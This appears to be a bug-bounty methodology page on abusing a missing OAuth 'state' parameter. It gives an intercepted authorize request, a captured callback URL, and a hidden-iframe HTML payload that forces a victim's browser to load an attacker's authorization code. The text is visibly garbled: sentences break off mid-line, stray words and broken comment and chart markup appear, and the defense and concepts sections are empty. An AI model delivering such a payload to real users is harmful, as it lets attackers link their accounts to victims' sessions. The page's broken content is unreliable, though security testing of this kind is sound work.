ShulkwiSEC OAuth State Parameter Abuse
When to Use
- When auditing web applications that use "Log in with [Google/Facebook/GitHub]" (OAuth 2.0 / OpenID Connect) or allow linking third-party accounts.
- To test if the application is susceptible to CSRF attacks during the OAuth authorization flow, enabling attackers to link their own external accounts to a victim's session.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Initiating the OAuth Flow
# Concept: The `state` parameter is ```
### Phase 2: Intercepting the Authorization Request
```http
# # beautifully GET /oauth/authorize?response_type=code&client_id=12345&redirect_uri=https%3A%2F%2Ftarget.com%2Fcallback&scope=email%20profile HTTP/1.1
Host: provider.com
Phase 3: Capturing the Callback (The CSRF Payload)
# https://target.com/callback?code=SPLIT_SECOND_CODE_FROM_ATTACKER
Phase 4: Delivering the Payload (Exploitation)
<!-- >
<html>
<body>
<!-- >
<iframe src="https://target.com/callback?code=ATTACKER_UNPUBLISHED_CODE" style="display:none;"></iframe>
</body>
</html>
Decision Point 🔀
flowchart TD
A[Start OAuth ] --> B{State Parameter ]}
B -->|Missing/Static| C[Capture Callback ]
B -->|Verified| D[Check Logic ]
C --> E[Exploit CSRF ]
🔵 Blue Team Detection & Defense
- Strict State Validation: PKCE (Proof Key for Code Exchange): Key Concepts
Concept Description
Output Format
Oauth State Parameter Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
References
- PortSwigger: OAuth Vulnerabilities
- IETF: OAuth 2.0 Security Best Current Practice